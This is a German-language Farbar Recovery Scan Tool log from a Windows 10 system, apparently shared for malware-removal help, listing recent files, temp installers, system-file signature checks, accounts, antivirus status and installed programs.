2017-05-12 15:21 - 2015-05-04 10:05 - 00004821 ____N C:\windows\MBCfg_HP_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00001165 ____N C:\windows\MBCfg_Capture_APOIM.ini
2017-05-12 15:21 - 2014-02-21 10:57 - 00041088 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.dll
2017-05-12 15:21 - 2014-02-21 10:57 - 00038016 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.dll
2017-05-12 15:21 - 2013-04-23 10:54 - 00148096 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00138880 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00015488 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ResDefA.exe
2017-05-12 15:21 - 2000-05-11 01:00 - 00090112 ____N (Creative Technology Ltd.) C:\windows\Updreg.EXE
2017-05-12 15:20 - 2017-05-29 16:19 - 00003118 _____ C:\windows\System32\Tasks\Intel PTT EK Recertification
2017-05-12 15:20 - 2017-05-29 16:19 - 00003074 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7
2017-05-12 15:20 - 2017-05-29 16:19 - 00002708 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon
2017-05-12 15:20 - 2017-05-12 15:27 - 00000000 ____D C:\ProgramData\Intel
2017-05-12 15:20 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\Creative
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_AirplaneModeHid_01011.Wdf
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files\Insyde
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKMouFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKKbdFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____D C:\Program Files (x86)\Hotkey
2017-05-12 15:19 - 2017-04-12 08:32 - 00532376 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSX64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00221960 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSH64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00209528 _____ (SRS Labs, Inc.) C:\windows\system32\SRSHP64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00166200 _____ (SRS Labs, Inc.) C:\windows\system32\SRSWOW64.dll
2017-05-12 15:19 - 2016-05-24 19:19 - 00012800 _____ (Windows (R) 2000 DDK provider) C:\windows\SysWOW64\CLEVOMOF.dll
2017-05-12 15:19 - 2015-11-26 16:49 - 00051400 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKKbdFltr.sys
2017-05-12 15:19 - 2015-11-26 16:49 - 00048344 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKMouFltr.sys
2017-05-12 15:19 - 2015-05-21 16:30 - 00017880 _____ (Microsoft) C:\windows\SysWOW64\BTControl.exe
2017-05-12 15:18 - 2017-06-01 22:05 - 00004308 _____ C:\windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003994 _____ C:\windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003894 _____ C:\windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003866 _____ C:\windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003858 _____ C:\windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003696 _____ C:\windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003654 _____ C:\windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00001491 _____ C:\Users\Public\Desktop\GeForce Experience.lnk
2017-05-12 15:18 - 2017-05-12 15:19 - 00000000 ___HD C:\Program Files (x86)\Temp
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_SynTP_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_Smb_driver_Intel_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files\Synaptics
2017-05-12 15:18 - 2017-05-03 22:21 - 01893496 _____ (NVIDIA Corporation) C:\windows\system32\nvspcap64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01755256 _____ (NVIDIA Corporation) C:\windows\system32\nvspbridge64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01477240 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspcap.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01317496 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspbridge.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 00121464 _____ C:\windows\system32\NvRtmpStreamer64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03203584 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtPgEx64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03014144 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTSnMg64.cpl
2017-05-12 15:18 - 2017-04-12 08:32 - 00343704 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtlCPAPI64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 00192976 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkCfg64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 09107564 _____ C:\windows\system32\Drivers\RTAIODAT.DAT
2017-05-12 15:18 - 2017-04-12 08:31 - 03503048 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkApi64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02839520 _____ (Realtek Semiconductor Corp.) C:\windows\RtlExUpd.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02201600 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RCoInstII64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01743336 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBAPO232.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01353824 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTCOM64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00689872 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtDataProc64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00387312 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEP64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DHT64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DAA64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00214824 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEED64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00122312 _____ (Real Sound Lab SIA) C:\windows\system32\CONEQMSAPOGUILibrary.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00110976 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEL64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00088344 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEG64A.dll
2017-05-12 15:18 - 2017-02-07 05:17 - 00064088 _____ (Synaptics Incorporated) C:\windows\system32\Drivers\Smb_driver_Intel.sys
2017-05-12 15:18 - 2016-08-01 09:42 - 00082544 _____ (Realtek Semiconductor Corporation) C:\windows\system32\RtNicProp64.dll
2017-05-12 15:18 - 2016-07-15 01:27 - 00084480 _____ (Realtek Semiconductor.) C:\windows\system32\RtCRX64.dll
2017-05-12 15:18 - 2016-07-15 01:23 - 04332032 _____ (Realtek Semiconductor Corp.) C:\windows\RtCRU64.exe
2017-05-12 15:18 - 2010-05-26 11:41 - 02401112 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 01998168 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00511328 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00470880 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00276832 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00248672 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_43.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 04136744 _____ (NVIDIA Corporation) C:\windows\system32\nvapi64.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 03647864 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvapi.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00175736 _____ (NVIDIA Corporation) C:\windows\system32\nvaudcap64v.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00057976 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvhci.sys
2017-05-12 15:16 - 2017-05-03 22:21 - 00048248 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvad64v.sys
2017-05-12 15:15 - 2017-05-12 15:19 - 00000000 ____D C:\windows\SysWOW64\RTCOM
2017-05-12 15:15 - 2017-05-12 15:15 - 00000000 ____D C:\Program Files\Realtek
2017-05-12 15:14 - 2017-06-03 00:40 - 00000000 ____D C:\ProgramData\NVIDIA
2017-05-12 15:14 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2017-05-12 15:14 - 2017-05-12 15:21 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\windows\SysWOW64\sda
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files (x86)\Realtek
2017-05-12 15:14 - 2017-05-03 17:41 - 00001951 _____ C:\windows\NvContainerRecovery.bat
2017-05-12 15:14 - 2017-05-01 22:51 - 06437312 _____ (NVIDIA Corporation) C:\windows\system32\nvcpl.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 02479552 _____ (NVIDIA Corporation) C:\windows\system32\nvsvc64.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 01762752 _____ (NVIDIA Corporation) C:\windows\system32\nvsvcr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00548800 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshext.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00392312 _____ (NVIDIA Corporation) C:\windows\system32\nvmctray.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00081856 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshextr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00069752 _____ (NVIDIA Corporation) C:\windows\system32\nvshext.dll
2017-05-12 15:14 - 2017-04-25 23:11 - 07944687 _____ C:\windows\system32\nvcoproc.bin
2017-05-12 15:14 - 2016-08-05 09:11 - 00779232 _____ (Realsil Semiconductor Corporation) C:\windows\system32\Drivers\RtsPer.sys
2017-05-12 15:14 - 2016-07-15 01:40 - 09891328 _____ (Realtek Semiconductor Corp.) C:\windows\SysWOW64\RsCRIcon.dll
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2017-05-12 15:13 - 2017-05-12 15:13 - 00000000 ____D C:\windows\Logos
2017-05-12 15:12 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files\Intel
2017-05-12 15:12 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files (x86)\Intel
2017-05-12 15:12 - 2017-05-12 15:15 - 00000000 ____D C:\Intel
2017-05-12 15:12 - 2017-05-12 15:12 - 00000000 _____ C:\windows\system32\GfxValDisplayLog.bin
2017-05-12 15:12 - 2016-11-21 08:25 - 00113664 _____ (Khronos Group) C:\windows\system32\OpenCL.DLL
2017-05-12 15:12 - 2016-11-21 08:25 - 00104448 _____ (Khronos Group) C:\windows\SysWOW64\OpenCL.DLL

==================== Ein Monat: Geänderte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 00:38 - 2017-04-11 08:04 - 00000006 ____H C:\windows\Tasks\SA.DAT
2017-06-03 00:30 - 2017-03-18 13:40 - 00786432 _____ C:\windows\system32\config\BBI
2017-06-03 00:16 - 2017-04-11 08:13 - 13044334 _____ C:\windows\system32\PerfStringBackup.INI
2017-06-03 00:16 - 2017-04-10 16:23 - 00865020 _____ C:\windows\system32\perfh01D.dat
2017-06-03 00:16 - 2017-04-10 16:23 - 00267568 _____ C:\windows\system32\perfc01D.dat
2017-06-03 00:16 - 2017-04-10 16:19 - 00927830 _____ C:\windows\system32\prfh0816.dat
2017-06-03 00:16 - 2017-04-10 16:19 - 00274336 _____ C:\windows\system32\prfc0816.dat
2017-06-03 00:16 - 2017-04-10 16:15 - 00935842 _____ C:\windows\system32\perfh015.dat
2017-06-03 00:16 - 2017-04-10 16:15 - 00274312 _____ C:\windows\system32\perfc015.dat
2017-06-03 00:16 - 2017-04-10 16:11 - 00561978 _____ C:\windows\system32\perfh014.dat
2017-06-03 00:16 - 2017-04-10 16:11 - 00191482 _____ C:\windows\system32\perfc014.dat
2017-06-03 00:16 - 2017-04-10 16:07 - 00930168 _____ C:\windows\system32\perfh010.dat
2017-06-03 00:16 - 2017-04-10 16:07 - 00267950 _____ C:\windows\system32\perfc010.dat
2017-06-03 00:16 - 2017-04-10 16:02 - 00941666 _____ C:\windows\system32\perfh00C.dat
2017-06-03 00:16 - 2017-04-10 16:02 - 00271770 _____ C:\windows\system32\perfc00C.dat
2017-06-03 00:16 - 2017-04-10 15:57 - 00548472 _____ C:\windows\system32\perfh00B.dat
2017-06-03 00:16 - 2017-04-10 15:57 - 00195930 _____ C:\windows\system32\perfc00B.dat
2017-06-03 00:16 - 2017-04-10 15:53 - 00937926 _____ C:\windows\system32\perfh00A.dat
2017-06-03 00:16 - 2017-04-10 15:53 - 00277424 _____ C:\windows\system32\perfc00A.dat
2017-06-03 00:16 - 2017-04-10 15:45 - 00662800 _____ C:\windows\system32\perfh008.dat
2017-06-03 00:16 - 2017-04-10 15:45 - 00203298 _____ C:\windows\system32\perfc008.dat
2017-06-03 00:16 - 2017-04-10 15:40 - 00576608 _____ C:\windows\system32\perfh006.dat
2017-06-03 00:16 - 2017-04-10 15:40 - 00193858 _____ C:\windows\system32\perfc006.dat
2017-06-03 00:16 - 2017-03-20 06:35 - 01240300 _____ C:\windows\system32\perfh007.dat
2017-06-03 00:16 - 2017-03-20 06:35 - 00284812 _____ C:\windows\system32\perfc007.dat
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ___HD C:\windows\system32\GroupPolicy
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\GroupPolicy
2017-06-02 17:04 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Photo Viewer
2017-06-02 16:41 - 2017-04-11 08:03 - 00388560 _____ C:\windows\system32\FNTCACHE.DAT
2017-06-01 22:06 - 2017-03-18 23:01 - 00000000 ____D C:\windows\INF
2017-06-01 17:51 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps
2017-06-01 17:51 - 2017-03-18 23:03 - 00000000 ____D C:\windows\AppReadiness
2017-05-31 15:28 - 2017-04-11 08:10 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-31 15:11 - 2017-03-18 22:56 - 00465408 _____ (Microsoft Corporation) C:\windows\system32\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00389632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00217600 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplayx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpwsockx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpmodemx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplaysvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnaddr.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnaddr.dll
2017-05-31 15:11 - 2017-03-18 22:51 - 00000000 ____D C:\windows\CbsTemp
2017-05-31 15:09 - 2017-03-18 23:03 - 00000000 ____D C:\windows\LiveKernelReports
2017-05-31 13:35 - 2017-04-11 08:17 - 00565416 _____ (Microsoft Corporation) C:\windows\system32\MpSigStub.exe
2017-05-31 13:28 - 2017-04-11 08:03 - 00000000 ____D C:\windows\system32\SleepStudy
2017-05-30 22:02 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2017-05-30 13:21 - 2017-04-11 08:07 - 00000000 __RHD C:\Users\Public\AccountPictures
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\F12
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\F12
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ___RD C:\Program Files\Windows Defender
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioPlugIns
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\oobe
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\appraiser
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\ShellExperiences
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Photo Viewer
2017-05-30 09:52 - 2017-03-18 23:03 - 00000167 _____ C:\windows\win.ini
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ___RD C:\windows\ImmersiveControlPanel
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\en-GB
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Dism
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\en-GB
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Provisioning
2017-05-30 09:34 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Dism
2017-05-30 08:02 - 2017-04-11 08:16 - 132223576 ____C (Microsoft Corporation) C:\windows\system32\MRT.exe
2017-05-30 08:02 - 2017-04-11 08:16 - 00000000 ____D C:\windows\system32\MRT
2017-05-30 07:56 - 2017-03-18 23:03 - 00000000 ____D C:\windows\appcompat
2017-05-29 16:19 - 2017-04-11 08:10 - 00002766 _____ C:\windows\System32\Tasks\OneDrive Standalone Update Task v2
2017-05-18 04:34 - 2017-02-08 10:00 - 00045061 _____ C:\windows\system32\nvinfo.pb
2017-05-13 07:06 - 2017-03-18 23:03 - 00028672 _____ C:\windows\system32\config\BCD-Template
2017-05-12 15:47 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Sysprep
2017-05-12 15:22 - 2017-04-11 08:32 - 00000051 _____ C:\windows\smsts.ini
2017-05-12 15:22 - 2017-04-11 08:32 - 00000000 _____ C:\windows\authtest.txt
2017-05-12 15:22 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioDatabase
2017-05-12 15:14 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Help
2017-05-12 15:10 - 2017-03-18 23:03 - 00000000 ____D C:\windows\rescache
2017-05-12 15:10 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2017-06-02 17:04 - 2017-06-02 17:04 - 0011568 _____ () C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 0140800 _____ () C:\Users\****\AppData\Local\installer.dat
2017-05-30 09:56 - 2017-05-30 09:56 - 0000017 _____ () C:\Users\****\AppData\Local\resmon.resmoncfg

Einige Dateien in TEMP:
====================
2017-06-02 17:04 - 2017-06-02 17:04 - 2240192 _____ (BitTorrent Inc.) C:\Users\****\AppData\Local\Temp\gta_sa.exe
2017-05-31 20:50 - 2017-05-31 20:53 - 0720896 _____ (Indigo Rose Corporation) C:\Users\****\AppData\Local\Temp\irsetup.exe
2017-06-02 17:04 - 2017-06-02 17:04 - 0468413 _____ (                                                            ) C:\Users\****\AppData\Local\Temp\Setup (1).exe
2017-06-02 17:05 - 2017-06-02 17:05 - 1050336 _____ (Up Pro                                                      ) C:\Users\****\AppData\Local\Temp\UpProAddonInstaller-ff.exe

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\windows\system32\winlogon.exe => Datei ist digital signiert
C:\windows\system32\wininit.exe => Datei ist digital signiert
C:\windows\explorer.exe => Datei ist digital signiert
C:\windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\windows\system32\svchost.exe => Datei ist digital signiert
C:\windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\windows\system32\services.exe => Datei ist digital signiert
C:\windows\system32\User32.dll => Datei ist digital signiert
C:\windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\windows\system32\userinit.exe => Datei ist digital signiert
C:\windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\windows\system32\rpcss.dll => Datei ist digital signiert
C:\windows\system32\dnsapi.dll => Datei ist digital signiert
C:\windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-04-11 08:03

==================== Ende von FRST.txt ============================
FRST - Addition:
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgeführt von **** (03-06-2017 00:45:21)
Gestartet von C:\Users\****\Desktop
Windows 10 Home Version 1703 (X64) (2017-05-29 14:19:37)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-743485210-3963512150-464095969-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-743485210-3963512150-464095969-503 - Limited - Disabled)
Gast (S-1-5-21-743485210-3963512150-464095969-501 - Limited - Disabled)
**** (S-1-5-21-743485210-3963512150-464095969-1003 - Administrator - Enabled) => C:\Users\****

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Enabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

2007 Microsoft Office Suite Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
2007 Microsoft Office Suite Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Airplane Mode Hid Installer (HKLM-x32\...\{5E5B067F-52A4-447E-A3F1-D6DD10565E73}) (Version: 5.0.0.2 - )
Anno 1404 (HKLM\...\Steam App 33250) (Version:  - Blue Byte)
Ansel (Version: 382.05 - NVIDIA Corporation) Hidden
Classic Shell (HKLM\...\{383BB30A-B4A7-4666-9A83-22CFA8640097}) (Version: 4.3.0 - IvoSoft)
Control Center 5.0001.1.17 (HKLM-x32\...\{2F385B5D-5F23-4513-B3CE-9F5E4F4B882A}) (Version: 5.0001.1.17 - )
Counter-Strike: Global Offensive (HKLM\...\Steam App 730) (Version:  - Valve)
EgisTec Fingerprint Driver (HKLM-x32\...\InstallShield_{E8C889B8-0A8B-46BA-B433-F7D6968A6543}) (Version: 3.5.1.0 - Egis Technology Inc.)
Europa Universalis IV (HKLM\...\Steam App 236850) (Version:  - Paradox Development Studio)
Fingerprint Driver (x32 Version: 3.5.1.0 - Egis Technology Inc.) Hidden
Garry's Mod (HKLM\...\Steam App 4000) (Version:  - Facepunch Studios)
Grand Theft Auto: San Andreas (HKLM\...\Steam App 12120) (Version:  - Rockstar Games)
Infestation: The New Z (HKLM\...\Steam App 555570) (Version:  - Fredaikis AB)
Insyde Airplane Mode HID Mini-Driver (HKLM\...\AirplaneModeHid) (Version: 1.4.0.3 - Insyde Corporation)
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.6.0.1039 - Intel Corporation)
Intel(R) Online Connect Software Asset Manager (x32 Version: 3.4.2095 - Intel Corporation) Hidden
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4550 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.2.0.1020 - Intel Corporation)
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
Men of War: Assault Squad (HKLM\...\Steam App 64000) (Version:  - Digitalmindsoft)
Men of War: Assault Squad 2 (HKLM\...\Steam App 244450) (Version:  - Digitalmindsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Live Add-in 1.5 (HKLM-x32\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
